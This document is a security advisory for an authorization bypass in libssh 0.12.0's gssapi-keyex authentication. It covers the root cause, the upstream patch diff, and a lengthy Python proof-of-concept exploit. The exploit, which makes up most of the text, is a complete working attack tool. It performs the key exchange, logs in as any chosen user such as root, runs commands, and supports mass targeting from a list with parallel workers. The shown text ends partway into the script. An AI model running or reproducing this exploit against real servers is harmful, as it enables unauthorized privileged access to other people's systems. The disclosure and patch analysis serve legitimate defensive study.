#Summary
CVE-2026-59851 is an authorization bypass in libssh 0.12.0 affecting the gssapi-keyex server-side authentication method. A libssh server with GSSAPI key exchange enabled will accept the gssapi-keyex authentication method for any local username, from any authenticated client that can complete a GSSAPI key exchange. The server verifies the client's MIC (Message Integrity Code) and then replies with SSH_MSG_USERAUTH_SUCCESS without ever dispatching the authorization callback - the function whose job is to decide whether the authenticated Kerberos principal may become the requested local user. This allows an attacker with a valid Kerberos ticket for any principal in the realm to log in as any local username, including accounts that have no Kerberos principal at all (such as root).
CVSS score: 8.8 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
#Affected versions
- libssh
0.12.0(vulnerable) - libssh
>= 0.12.1(patched)
GSSAPI key exchange is new in libssh 0.12.0, so no earlier releases are affected.
#Root cause analysis
The bug lives in two independent defects that compound. During a GSSAPI key exchange, the server receives the authenticated Kerberos principal but discards it instead of storing it. Then, when the client sends a gssapi-keyex authentication request, the server verifies the MIC (proving the peer can read/write the session) and grants access without ever asking the application whether the principal is authorized to become that user.
#The sink: missing authorization dispatch
Inside the SSH_MSG_USERAUTH_REQUEST packet callback (src/messages.c:1163), the gssapi-keyex branch contains this logic (0.12.0):
if (strcmp(method, "gssapi-keyex") == 0) {
if (!ssh_kex_is_gss(session->current_crypto)) {
goto error;
}
if (session->gssapi == NULL || session->gssapi->ctx == NULL) {
goto error;
}
rc = ssh_buffer_unpack(packet, "S", &mic_token_string);
SAFE_FREE(session->gssapi->user);
session->gssapi->user = strdup(msg->auth_request.username);
buf = ssh_gssapi_build_mic(session, "gssapi-keyex");
maj_stat = gss_verify_mic(&min_stat,
session->gssapi->ctx,
&mic_buf,
&received_mic,
NULL);
if (maj_stat != GSS_S_COMPLETE) {
goto error;
}
ssh_auth_reply_success(session, 0);
}The final line is the vulnerability. After verifying the MIC, the server unconditionally sends SSH_MSG_USERAUTH_SUCCESS. The authorization callback auth_gssapi_mic_function - which exists on the gssapi-with-mic path and is designed to map a principal to a local user - is never invoked here. The callback's header documentation even warns applications to verify the principal:
/**
* @param user Username of the user (can be spoofed)
* @param principal Authenticated principal of the user, including realm.
* @warning Implementations should verify that parameter user matches in some
* way the principal. user and principal can be different. Only the latter is
* guaranteed to be safe.
*/
typedef int (*ssh_auth_gssapi_mic_callback) (ssh_session session, const char *user,
const char *principal, void *userdata);#The missing data: discarded principal
Even if the callback had been called, it would have nothing to work with. During the key exchange (src/kex-gss.c:571), the server calls gss_accept_sec_context which returns the authenticated principal in client_name, then immediately releases it without storing it:
maj_stat = gss_accept_sec_context(&min_stat,
&session->gssapi->ctx,
session->gssapi->server_creds,
&input_token,
GSS_C_NO_CHANNEL_BINDINGS,
&client_name, /* <-- the principal */
NULL,
&output_token,
&ret_flags,
NULL,
&session->gssapi->client_creds);
if (GSS_ERROR(maj_stat)) {
goto error;
}
SSH_STRING_FREE(otoken);
gss_release_name(&min_stat, &client_name); /* released, never stored */The field session->gssapi->canonic_user is left at the NULL it got from the initial allocation. Compare the correct behavior on the gssapi-with-mic path:
if (client_name != GSS_C_NO_NAME){
session->gssapi->client_name = client_name;
session->gssapi->canonic_user = ssh_gssapi_name_to_char(client_name);
}#Patch diff
The upstream fix (commit 73225a1774b32774ccc77f6fbd0a48e11505a6db in the libssh GitLab mirror) addresses both halves of the defect.
#Hunk 1: store the principal (src/kex-gss.c)
@@ -599,6 +599,9 @@ int ssh_server_gss_kex_process_init(ssh_session session, ssh_buffer packet)
goto error;
}
SSH_STRING_FREE(otoken);
+ if (client_name != GSS_C_NO_NAME) {
+ session->gssapi->canonic_user = ssh_gssapi_name_to_char(client_name);
+ }
gss_release_name(&min_stat, &client_name);After gss_accept_sec_context, the authenticated principal is converted to a printable string and stored in session->gssapi->canonic_user before the name is released.
#Hunk 2: actually invoke the authorization callback (src/messages.c)
@@ -1166,6 +1166,7 @@ SSH_PACKET_CALLBACK(ssh_packet_userauth_request)
ssh_string mic_token_string = NULL;
OM_uint32 maj_stat, min_stat;
ssh_buffer buf = NULL;
+ ssh_server_callbacks callbacks = session->server_callbacks;
if (!ssh_kex_is_gss(session->current_crypto)) {
@@ -1218,7 +1219,23 @@ SSH_PACKET_CALLBACK(ssh_packet_userauth_request)
goto error;
}
- ssh_auth_reply_success(session, 0);
+ if (ssh_callbacks_exists(callbacks, auth_gssapi_mic_function)) {
+ rc = callbacks->auth_gssapi_mic_function(session,
+ session->gssapi->user,
+ session->gssapi->canonic_user,
+ callbacks->userdata);
+ switch (rc) {
+ case SSH_AUTH_SUCCESS:
+ ssh_auth_reply_success(session, 0);
+ break;
+ case SSH_AUTH_PARTIAL:
+ ssh_auth_reply_success(session, 1);
+ break;
+ default:
+ ssh_auth_reply_default(session, 0);
+ break;
+ }
+ }Instead of an unconditional success, the patched code now dispatches the authorization callback. Applications that do not register the callback will receive no reply at all - a fail-closed design that forces them to implement the required authorization check.
#Proof of concept
#exploit.py - libssh gssapi-keyex Authorization Bypass PoC
#!/usr/bin/env python3
"""
CVE-2026-59851 - libssh gssapi-keyex grants any local user to any authenticated principal
Affected: libssh 0.12.0 servers with GSSAPI key exchange enabled (fixed in 0.12.1)
Type: authorization bypass (CWE-863)
The server-side "gssapi-keyex" authentication method verifies the client's MIC and then
replies SSH_MSG_USERAUTH_SUCCESS without ever dispatching auth_gssapi_mic_function, the
callback whose job is to decide whether the authenticated Kerberos principal may become
the requested local user. The principal is not even kept: it is released right after
gss_accept_sec_context. So a client holding a ticket for any principal in the realm logs
in as any username it likes, including accounts that have no principal at all (root).
This is a plain SSH-2 client: it performs an RFC 4462 GSSAPI key exchange, then sends one
well-formed SSH_MSG_USERAUTH_REQUEST for the victim username with method "gssapi-keyex".
Nothing is malformed and no crypto is bypassed - the request is genuine, the server simply
never asks whether the principal is entitled to the account.
Requirements on the machine you run this from:
- a Kerberos credential cache holding a TGT for any principal of the target's realm
(kinit <you>), and the system GSSAPI library (libgssapi_krb5 / Heimdal / GSS.framework).
- nothing else: standard library only, no paramiko, no libssh.
Arguments beyond the standard ones:
--gss-host hostname to use in the GSSAPI service name "host@<name>". Defaults to the
value of --host. Set it when you connect by IP or through a forwarded port,
because the acceptor name must match the server's keytab entry.
--command command sent in the "exec" channel request once the session is granted.
--timeout socket timeout in seconds.
There is no --tls/--no-tls: SSH is not layered on TLS. URL forms (ssh://host:2222) are
still accepted by --host and by the --list file so target lists can be shared with other
tooling.
Usage:
python3 exploit.py --host 192.168.1.10 --port 22 --username root
python3 exploit.py --host sshgw.corp.example --username backup --command "id; hostname"
python3 exploit.py --host 10.0.0.5 --port 2222 --gss-host sshgw.corp.example
python3 exploit.py --list targets.txt --workers 20 --username root
"""
import argparse
import hashlib
import hmac
import os
import socket
import struct
import sys
import threading
import ctypes
from ctypes import POINTER, byref, c_char_p, c_size_t, c_uint32, c_void_p
from urllib.parse import urlparse
CVE_ID = "CVE-2026-59851"
VULN_TYPE = "Authorization Bypass"
CLIENT_BANNER = "SSH-2.0-OpenSSH_9.6"
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
class ExploitError(Exception):
"""Anything that stops the attempt before a verdict can be reached."""
# --------------------------------------------------------------------------------------
# AES-CTR (the only cipher this client negotiates). Encryption direction only: CTR mode
# never needs the inverse cipher.
# --------------------------------------------------------------------------------------
def _gf_mul(a: int, b: int) -> int:
r = 0
for _ in range(8):
if b & 1:
r ^= a
hi = a & 0x80
a = (a << 1) & 0xFF
if hi:
a ^= 0x1B
b >>= 1
return r
def _build_sbox() -> list:
inv = [0] * 256
for a in range(1, 256):
for b in range(1, 256):
if _gf_mul(a, b) == 1:
inv[a] = b
break
sbox = []
for a in range(256):
x = inv[a]
y = x
for _ in range(4):
x = ((x << 1) | (x >> 7)) & 0xFF
y ^= x
sbox.append(y ^ 0x63)
return sbox
_SBOX = _build_sbox()
_RCON = [0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D]
def _xtime(a: int) -> int:
a <<= 1
if a & 0x100:
a = (a ^ 0x1B) & 0xFF
return a
class _AES:
"""Byte-oriented AES block encryption. State is the 16 input bytes in wire order."""
def __init__(self, key: bytes):
nk = len(key) // 4
self.nr = nk + 6
w = [list(key[4 * i:4 * i + 4]) for i in range(nk)]
for i in range(nk, 4 * (self.nr + 1)):
t = list(w[i - 1])
if i % nk == 0:
t = t[1:] + t[:1]
t = [_SBOX[x] for x in t]
t[0] ^= _RCON[i // nk]
elif nk > 6 and i % nk == 4:
t = [_SBOX[x] for x in t]
w.append([w[i - nk][j] ^ t[j] for j in range(4)])
self.rk = w
def _add_round_key(self, s: list, rnd: int) -> None:
for c in range(4):
k = self.rk[4 * rnd + c]
for r in range(4):
s[r + 4 * c] ^= k[r]
@staticmethod
def _shift_rows(s: list) -> list:
out = [0] * 16
for r in range(4):
for c in range(4):
out[r + 4 * c] = s[r + 4 * ((c + r) % 4)]
return out
@staticmethod
def _mix_columns(s: list) -> list:
out = [0] * 16
for c in range(4):
a0, a1, a2, a3 = s[4 * c:4 * c + 4]
t = a0 ^ a1 ^ a2 ^ a3
out[4 * c + 0] = a0 ^ t ^ _xtime(a0 ^ a1)
out[4 * c + 1] = a1 ^ t ^ _xtime(a1 ^ a2)
out[4 * c + 2] = a2 ^ t ^ _xtime(a2 ^ a3)
out[4 * c + 3] = a3 ^ t ^ _xtime(a3 ^ a0)
return out
def encrypt_block(self, block: bytes) -> bytes:
s = list(block)
self._add_round_key(s, 0)
for rnd in range(1, self.nr):
s = [_SBOX[x] for x in s]
s = self._shift_rows(s)
s = self._mix_columns(s)
self._add_round_key(s, rnd)
s = [_SBOX[x] for x in s]
s = self._shift_rows(s)
self._add_round_key(s, self.nr)
return bytes(s)
class _AESCTR:
"""Stateful CTR keystream. Bytes must be fed in wire order in both directions."""
def __init__(self, key: bytes, iv: bytes):
self._aes = _AES(key)
self._ctr = int.from_bytes(iv, "big")
self._ks = b""
def crypt(self, data: bytes) -> bytes:
while len(self._ks) < len(data):
block = self._ctr.to_bytes(16, "big")
self._ks += self._aes.encrypt_block(block)
self._ctr = (self._ctr + 1) % (1 << 128)
ks, self._ks = self._ks[:len(data)], self._ks[len(data):]
return bytes(a ^ b for a, b in zip(data, ks))
# --------------------------------------------------------------------------------------
# GSSAPI, bound through ctypes so the tool needs no third-party module
# --------------------------------------------------------------------------------------
GSS_C_MUTUAL_FLAG = 0x00000002
GSS_C_INTEG_FLAG = 0x00000020
GSS_S_CONTINUE_NEEDED = 1
_GSS_ERROR_MASK = 0xFFFF0000
# 1.2.840.113554.1.2.1.4 - GSS_C_NT_HOSTBASED_SERVICE
_NT_HOSTBASED_SERVICE = bytes([0x2A, 0x86, 0x48, 0x86, 0xF7, 0x12, 0x01, 0x02, 0x01, 0x04])
_GSS_LIBS = [
"libgssapi_krb5.so.2", "libgssapi_krb5.so",
"libgssapi.so.3", "libgssapi.so",
"/System/Library/Frameworks/GSS.framework/GSS",
"libgssapi_krb5.dylib",
]
class _GssBuffer(ctypes.Structure):
_fields_ = [("length", c_size_t), ("value", c_void_p)]
class _GssOID(ctypes.Structure):
_fields_ = [("length", c_uint32), ("elements", c_void_p)]
def _load_gss():
last = None
for name in _GSS_LIBS:
try:
return ctypes.CDLL(name)
except OSError as exc:
last = exc
raise ExploitError(f"no GSSAPI library found on this machine ({last})")
class GSSContext:
"""Initiator-side GSS context against host@<name>, plus MIC generation/verification."""
def __init__(self, service_host: str):
self._lib = _load_gss()
self._bind()
self._ctx = c_void_p(None)
self._keep = []
self.complete = False
self.flags = 0
self._target = self._import_name(f"host@{service_host}")
def _bind(self) -> None:
lib = self._lib
lib.gss_import_name.argtypes = [POINTER(c_uint32), POINTER(_GssBuffer),
POINTER(_GssOID), POINTER(c_void_p)]
lib.gss_init_sec_context.argtypes = [
POINTER(c_uint32), c_void_p, POINTER(c_void_p), c_void_p,
POINTER(_GssOID), c_uint32, c_uint32, c_void_p,
POINTER(_GssBuffer), POINTER(POINTER(_GssOID)), POINTER(_GssBuffer),
POINTER(c_uint32), POINTER(c_uint32)]
lib.gss_get_mic.argtypes = [POINTER(c_uint32), c_void_p, c_uint32,
POINTER(_GssBuffer), POINTER(_GssBuffer)]
lib.gss_verify_mic.argtypes = [POINTER(c_uint32), c_void_p,
POINTER(_GssBuffer), POINTER(_GssBuffer),
POINTER(c_uint32)]
lib.gss_inquire_context.argtypes = [POINTER(c_uint32), c_void_p,
POINTER(c_void_p), POINTER(c_void_p),
POINTER(c_uint32), POINTER(POINTER(_GssOID)),
POINTER(c_uint32), POINTER(c_uint32),
POINTER(c_uint32)]
lib.gss_display_name.argtypes = [POINTER(c_uint32), c_void_p,
POINTER(_GssBuffer), POINTER(POINTER(_GssOID))]
lib.gss_display_status.argtypes = [POINTER(c_uint32), c_uint32, ctypes.c_int,
POINTER(_GssOID), POINTER(c_uint32),
POINTER(_GssBuffer)]
lib.gss_release_buffer.argtypes = [POINTER(c_uint32), POINTER(_GssBuffer)]
lib.gss_release_name.argtypes = [POINTER(c_uint32), POINTER(c_void_p)]
def _mkbuf(self, data: bytes) -> _GssBuffer:
raw = ctypes.create_string_buffer(data, len(data))
self._keep.append(raw)
return _GssBuffer(length=len(data), value=ctypes.cast(raw, c_void_p))
def _take(self, buf: _GssBuffer) -> bytes:
if not buf.value or not buf.length:
return b""
out = ctypes.string_at(buf.value, buf.length)
minor = c_uint32(0)
self._lib.gss_release_buffer(byref(minor), byref(buf))
return out
def _status(self, major: int, minor: int) -> str:
parts = []
for code, kind in ((major, 1), (minor, 2)):
ctx = c_uint32(0)
buf = _GssBuffer()
m = c_uint32(0)
if self._lib.gss_display_status(byref(m), c_uint32(code), kind,
None, byref(ctx), byref(buf)) == 0:
text = self._take(buf)
if text:
parts.append(text.decode("utf-8", "replace"))
return "; ".join(parts) or f"major=0x{major:08x} minor={minor}"
def _check(self, major: int, minor: int, what: str) -> None:
if major & _GSS_ERROR_MASK:
raise ExploitError(f"GSSAPI {what} failed: {self._status(major, minor)}")
def _import_name(self, name: str) -> c_void_p:
oid = _GssOID(length=len(_NT_HOSTBASED_SERVICE),
elements=ctypes.cast(c_char_p(_NT_HOSTBASED_SERVICE), c_void_p))
out = c_void_p(None)
minor = c_uint32(0)
buf = self._mkbuf(name.encode())
major = self._lib.gss_import_name(byref(minor), byref(buf), byref(oid), byref(out))
self._check(major, minor.value, f"import_name({name})")
return out
def step(self, token: bytes = b"") -> bytes:
"""Feed the peer's token, return the token to send back (may be empty)."""
minor = c_uint32(0)
in_buf = self._mkbuf(token)
out_buf = _GssBuffer()
ret_flags = c_uint32(0)
major = self._lib.gss_init_sec_context(
byref(minor), None, byref(self._ctx), self._target, None,
c_uint32(GSS_C_MUTUAL_FLAG | GSS_C_INTEG_FLAG), c_uint32(0), None,
byref(in_buf), None, byref(out_buf), byref(ret_flags), None)
self._check(major, minor.value, "init_sec_context")
self.flags = ret_flags.value
self.complete = not (major & GSS_S_CONTINUE_NEEDED)
return self._take(out_buf)
def get_mic(self, message: bytes) -> bytes:
minor = c_uint32(0)
msg = self._mkbuf(message)
tok = _GssBuffer()
major = self._lib.gss_get_mic(byref(minor), self._ctx, c_uint32(0),
byref(msg), byref(tok))
self._check(major, minor.value, "get_mic")
return self._take(tok)
def verify_mic(self, message: bytes, token: bytes) -> bool:
minor = c_uint32(0)
msg = self._mkbuf(message)
tok = self._mkbuf(token)
major = self._lib.gss_verify_mic(byref(minor), self._ctx, byref(msg),
byref(tok), None)
return not (major & _GSS_ERROR_MASK)
def initiator_name(self) -> str:
"""The principal we actually hold a ticket for, as the mechanism sees it."""
minor = c_uint32(0)
src = c_void_p(None)
targ = c_void_p(None)
major = self._lib.gss_inquire_context(byref(minor), self._ctx, byref(src),
byref(targ), None, None, None, None, None)
if major & _GSS_ERROR_MASK:
return "(unknown)"
buf = _GssBuffer()
m = c_uint32(0)
if self._lib.gss_display_name(byref(m), src, byref(buf), None) != 0:
return "(unknown)"
name = self._take(buf).decode("utf-8", "replace")
self._lib.gss_release_name(byref(m), byref(src))
self._lib.gss_release_name(byref(m), byref(targ))
return name
# --------------------------------------------------------------------------------------
# SSH-2 transport
# --------------------------------------------------------------------------------------
MSG_DISCONNECT = 1
MSG_IGNORE = 2
MSG_UNIMPLEMENTED = 3
MSG_DEBUG = 4
MSG_SERVICE_REQUEST = 5
MSG_SERVICE_ACCEPT = 6
MSG_EXT_INFO = 7
MSG_KEXINIT = 20
MSG_NEWKEYS = 21
MSG_KEXGSS_INIT = 30
MSG_KEXGSS_CONTINUE = 31
MSG_KEXGSS_COMPLETE = 32
MSG_KEXGSS_HOSTKEY = 33
MSG_KEXGSS_ERROR = 34
MSG_USERAUTH_REQUEST = 50
MSG_USERAUTH_FAILURE = 51
MSG_USERAUTH_SUCCESS = 52
MSG_USERAUTH_BANNER = 53
MSG_GLOBAL_REQUEST = 80
MSG_REQUEST_FAILURE = 82
MSG_CHANNEL_OPEN = 90
MSG_CHANNEL_OPEN_CONFIRMATION = 91
MSG_CHANNEL_OPEN_FAILURE = 92
MSG_CHANNEL_WINDOW_ADJUST = 93
MSG_CHANNEL_DATA = 94
MSG_CHANNEL_EXTENDED_DATA = 95
MSG_CHANNEL_EOF = 96
MSG_CHANNEL_CLOSE = 97
MSG_CHANNEL_REQUEST = 98
MSG_CHANNEL_SUCCESS = 99
MSG_CHANNEL_FAILURE = 100
# RFC 3526 group 14 (2048 bit). The other RFC 4462 groups (group16, nistp256,
# curve25519) are not implemented here; every libssh and OpenSSH build that offers
# GSSAPI key exchange offers gss-group14-sha256-* as well.
DH_G = 2
DH_GROUPS = {
"gss-group14-sha256-": (int(
"FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74"
"020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F1437"
"4FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED"
"EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF05"
"98DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB"
"9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3B"
"E39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF695581718"
"3995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF", 16),
hashlib.sha256),
}
CIPHER_PREF = [("aes128-ctr", 16), ("aes192-ctr", 24), ("aes256-ctr", 32)]
MAC_PREF = [("hmac-sha2-256", hashlib.sha256, 32), ("hmac-sha2-512", hashlib.sha512, 64)]
def sstr(data) -> bytes:
if isinstance(data, str):
data = data.encode()
return struct.pack(">I", len(data)) + data
def mpint_body(n: int) -> bytes:
if n == 0:
return b""
body = n.to_bytes((n.bit_length() + 8) // 8, "big")
return body
def mpint(n: int) -> bytes:
return sstr(mpint_body(n))
class Transport:
def __init__(self, sock: socket.socket):
self.sock = sock
self.send_seq = 0
self.recv_seq = 0
self.out_cipher = None
self.in_cipher = None
self.out_mac = None
self.in_mac = None
self._rx = b""
def close(self) -> None:
try:
self.sock.close()
except OSError:
pass
def _read(self, n: int) -> bytes:
while len(self._rx) < n:
try:
chunk = self.sock.recv(65536)
except socket.timeout:
raise ExploitError("timed out waiting for the server")
if not chunk:
raise ExploitError("server closed the connection")
self._rx += chunk
out, self._rx = self._rx[:n], self._rx[n:]
return out
def read_line(self) -> str:
while b"\n" not in self._rx:
try:
chunk = self.sock.recv(4096)
except socket.timeout:
raise ExploitError("timed out waiting for the server banner")
if not chunk:
raise ExploitError("server closed the connection during banner exchange")
self._rx += chunk
line, self._rx = self._rx.split(b"\n", 1)
return line.rstrip(b"\r").decode("utf-8", "replace")
def send_packet(self, payload: bytes) -> None:
bs = 16 if self.out_cipher else 8
pad = bs - ((len(payload) + 5) % bs)
if pad < 4:
pad += bs
packet = struct.pack(">IB", len(payload) + 1 + pad, pad) + payload + os.urandom(pad)
if self.out_cipher:
key, algo = self.out_mac
mac = hmac.new(key, struct.pack(">I", self.send_seq) + packet, algo).digest()
data = self.out_cipher.crypt(packet) + mac
else:
data = packet
self.sock.sendall(data)
self.send_seq = (self.send_seq + 1) & 0xFFFFFFFF
def recv_packet(self) -> bytes:
if self.in_cipher:
first = self.in_cipher.crypt(self._read(16))
plen = struct.unpack(">I", first[:4])[0]
if plen < 12 or plen > 262144:
raise ExploitError(f"implausible packet length {plen}")
packet = first + self.in_cipher.crypt(self._read(plen + 4 - 16))
key, algo = self.in_mac
want = hmac.new(key, struct.pack(">I", self.recv_seq) + packet, algo).digest()
if not hmac.compare_digest(self._read(algo().digest_size), want):
raise ExploitError("MAC mismatch on an inbound packet")
else:
head = self._read(4)
plen = struct.unpack(">I", head)[0]
if plen < 12 or plen > 262144:
raise ExploitError(f"implausible packet length {plen}")
packet = head + self._read(plen)
padlen = packet[4]
payload = packet[5:4 + plen - padlen]
self.recv_seq = (self.recv_seq + 1) & 0xFFFFFFFF
return payload
def recv_useful(self) -> bytes:
"""Next packet the caller cares about: transport chatter is handled here."""
while True:
payload = self.recv_packet()
if not payload:
continue
kind = payload[0]
if kind == MSG_DISCONNECT:
reason, rest = struct.unpack(">I", payload[1:5])[0], payload[5:]
text = ""
if len(rest) >= 4:
n = struct.unpack(">I", rest[:4])[0]
text = rest[4:4 + n].decode("utf-8", "replace")
raise ExploitError(f"server disconnected (reason {reason}): {text}")
if kind in (MSG_IGNORE, MSG_DEBUG, MSG_UNIMPLEMENTED, MSG_EXT_INFO,
MSG_USERAUTH_BANNER, MSG_CHANNEL_WINDOW_ADJUST):
continue
if kind == MSG_GLOBAL_REQUEST:
self.send_packet(bytes([MSG_REQUEST_FAILURE]))
continue
return payload
def _namelist(payload: bytes, offset: int):
n = struct.unpack(">I", payload[offset:offset + 4])[0]
return payload[offset + 4:offset + 4 + n].decode("utf-8", "replace"), offset + 4 + n
def parse_kexinit(payload: bytes) -> list:
lists = []
off = 17 # message type + 16 byte cookie
for _ in range(10):
value, off = _namelist(payload, off)
lists.append(value)
return lists
def build_kexinit(lists) -> bytes:
out = bytes([MSG_KEXINIT]) + os.urandom(16)
for item in lists:
out += sstr(item)
return out + b"\x00" + b"\x00\x00\x00\x00"
def _pick(preferred, offered: str):
available = offered.split(",")
for name in preferred:
if name[0] in available:
return name
return None
def derive_key(hash_algo, shared: int, exch_hash: bytes, letter: bytes,
session_id: bytes, size: int) -> bytes:
material = hash_algo(mpint(shared) + exch_hash + letter + session_id).digest()
while len(material) < size:
material += hash_algo(mpint(shared) + exch_hash + material).digest()
return material[:size]
# --------------------------------------------------------------------------------------
# The attack itself
# --------------------------------------------------------------------------------------
def _perform(host: str, port: int, username: str, command: str, gss_host: str,
timeout: float, on_step=None) -> dict:
"""
Run the full attack once. Returns a result dict; never prints, never exits.
keys: ok, evidence, banner, principal, kex, status_line, channel_output, detail
"""
result = {"ok": False, "evidence": "", "banner": "", "principal": "(unknown)",
"kex": "", "status_line": "", "channel_output": "", "detail": ""}
def note(n, msg):
if on_step:
on_step(n, msg)
sock = socket.create_connection((host, port), timeout=timeout)
sock.settimeout(timeout)
t = Transport(sock)
try:
# 1. banner exchange
t.sock.sendall((CLIENT_BANNER + "\r\n").encode())
server_banner = ""
for _ in range(64):
line = t.read_line()
if line.startswith("SSH-"):
server_banner = line
break
if not server_banner:
raise ExploitError("no SSH identification string from the target")
result["banner"] = server_banner
note(1, f"Connected - server identifies as {server_banner}")
# 2. algorithm negotiation. The server's KEXINIT tells us which GSS kex
# algorithm name (it embeds a hash of the mechanism OID) it will accept.
i_s = t.recv_useful()
if not i_s or i_s[0] != MSG_KEXINIT:
raise ExploitError(f"expected SSH_MSG_KEXINIT, got message {i_s[0]}")
server_lists = parse_kexinit(i_s)
gss_kex = None
for offered in server_lists[0].split(","):
for prefix in DH_GROUPS:
if offered.startswith(prefix):
gss_kex = (offered, prefix)
break
if gss_kex:
break
if gss_kex is None:
raise ExploitError("target offers no supported GSSAPI key exchange "
f"(kex: {server_lists[0]})")
cipher = _pick(CIPHER_PREF, server_lists[3])
mac = _pick(MAC_PREF, server_lists[5])
if cipher is None or mac is None:
raise ExploitError("no shared cipher/MAC this client implements")
client_lists = [gss_kex[0], server_lists[1], cipher[0], cipher[0],
mac[0], mac[0], "none", "none", "", ""]
i_c = build_kexinit(client_lists)
t.send_packet(i_c)
result["kex"] = gss_kex[0]
note(2, f"Negotiated {gss_kex[0]} with {cipher[0]}/{mac[0]}")
# 3. GSSAPI context and DH public value
gss = GSSContext(gss_host)
token = gss.step()
prime, hash_algo = DH_GROUPS[gss_kex[1]]
x = int.from_bytes(os.urandom(64), "big") | 1
e = pow(DH_G, x, prime)
t.send_packet(bytes([MSG_KEXGSS_INIT]) + sstr(token) + sstr(mpint_body(e)))
note(3, f"Sent SSH2_MSG_KEXGSS_INIT with a Kerberos token for host@{gss_host}")
# 4. drive the key exchange to SSH2_MSG_KEXGSS_COMPLETE
host_key_blob = b""
server_mic = b""
f = None
while True:
payload = t.recv_useful()
kind = payload[0]
if kind == MSG_KEXGSS_HOSTKEY:
n = struct.unpack(">I", payload[1:5])[0]
host_key_blob = payload[5:5 + n]
continue
if kind == MSG_KEXGSS_CONTINUE:
n = struct.unpack(">I", payload[1:5])[0]
out = gss.step(payload[5:5 + n])
if out:
t.send_packet(bytes([MSG_KEXGSS_CONTINUE]) + sstr(out))
continue
if kind == MSG_KEXGSS_ERROR:
raise ExploitError("server reported SSH2_MSG_KEXGSS_ERROR during kex")
if kind == MSG_KEXGSS_COMPLETE:
off = 1
n = struct.unpack(">I", payload[off:off + 4])[0]
f_bytes = payload[off + 4:off + 4 + n]
off += 4 + n
n = struct.unpack(">I", payload[off:off + 4])[0]
server_mic = payload[off + 4:off + 4 + n]
off += 4 + n
has_token = payload[off]
off += 1
if has_token:
n = struct.unpack(">I", payload[off:off + 4])[0]
gss.step(payload[off + 4:off + 4 + n])
f = int.from_bytes(f_bytes, "big")
break
raise ExploitError(f"unexpected message {kind} during key exchange")
if not gss.complete:
raise ExploitError("GSSAPI context did not complete during key exchange")
if not (gss.flags & GSS_C_INTEG_FLAG) or not (gss.flags & GSS_C_MUTUAL_FLAG):
raise ExploitError("server would not grant mutual/integrity GSSAPI flags")
result["principal"] = gss.initiator_name()
# 5. exchange hash and keys (RFC 4462 section 2.1: K_S is empty when the
# server sent no host key)
k = pow(f, x, prime)
h = hash_algo(
sstr(CLIENT_BANNER) + sstr(server_banner) + sstr(i_c) + sstr(i_s) +
sstr(host_key_blob) + mpint(e) + mpint(f) + mpint(k)
).digest()
if not gss.verify_mic(h, server_mic):
raise ExploitError("server's GSSAPI MIC over the exchange hash did not verify")
note(4, "Key exchange complete - server authenticated by its GSSAPI MIC")
session_id = h
t.send_packet(bytes([MSG_NEWKEYS]))
t.out_cipher = _AESCTR(
derive_key(hash_algo, k, h, b"C", session_id, cipher[1]),
derive_key(hash_algo, k, h, b"A", session_id, 16))
t.out_mac = (derive_key(hash_algo, k, h, b"E", session_id, mac[2]), mac[1])
while True:
payload = t.recv_packet()
if payload and payload[0] == MSG_NEWKEYS:
break
t.in_cipher = _AESCTR(
derive_key(hash_algo, k, h, b"D", session_id, cipher[1]),
derive_key(hash_algo, k, h, b"B", session_id, 16))
t.in_mac = (derive_key(hash_algo, k, h, b"F", session_id, mac[2]), mac[1])
# 6. ssh-userauth service
t.send_packet(bytes([MSG_SERVICE_REQUEST]) + sstr("ssh-userauth"))
payload = t.recv_useful()
if payload[0] != MSG_SERVICE_ACCEPT:
raise ExploitError("server refused the ssh-userauth service")
# 7. the vulnerability: one genuine gssapi-keyex request for someone else's
# account. The MIC is computed over the victim's username, exactly as an
# honest client would compute it over its own.
mic_message = (sstr(session_id) + bytes([MSG_USERAUTH_REQUEST]) +
sstr(username) + sstr("ssh-connection") + sstr("gssapi-keyex"))
mic = gss.get_mic(mic_message)
t.send_packet(bytes([MSG_USERAUTH_REQUEST]) + sstr(username) +
sstr("ssh-connection") + sstr("gssapi-keyex") + sstr(mic))
note(5, f"Sent gssapi-keyex userauth request for '{username}' "
f"holding only {result['principal']}")
payload = t.recv_useful()
if payload[0] == MSG_USERAUTH_FAILURE:
methods, _ = _namelist(payload, 1)
result["detail"] = f"SSH_MSG_USERAUTH_FAILURE (server still offers: {methods})"
result["evidence"] = ("authorization enforced - server denied "
f"'{username}' for {result['principal']}")
return result
if payload[0] != MSG_USERAUTH_SUCCESS:
raise ExploitError(f"unexpected reply {payload[0]} to the auth request")
result["ok"] = True
note(6, f"SSH_MSG_USERAUTH_SUCCESS - authenticated as '{username}'")
# 8. use the session, so the evidence is a working channel and not just a
# success byte
result["channel_output"] = _run_channel(t, command)
for line in result["channel_output"].splitlines():
if "authz-callback=" in line or "session-granted" in line:
result["status_line"] = line.strip()
break
evidence = (f"logged in as '{username}' holding only {result['principal']}")
if result["status_line"]:
evidence += f" - server reports: {result['status_line']}"
result["evidence"] = evidence
return result
finally:
t.close()
def _run_channel(t: Transport, command: str) -> str:
"""Open a session channel, exec, and return whatever the server sends back."""
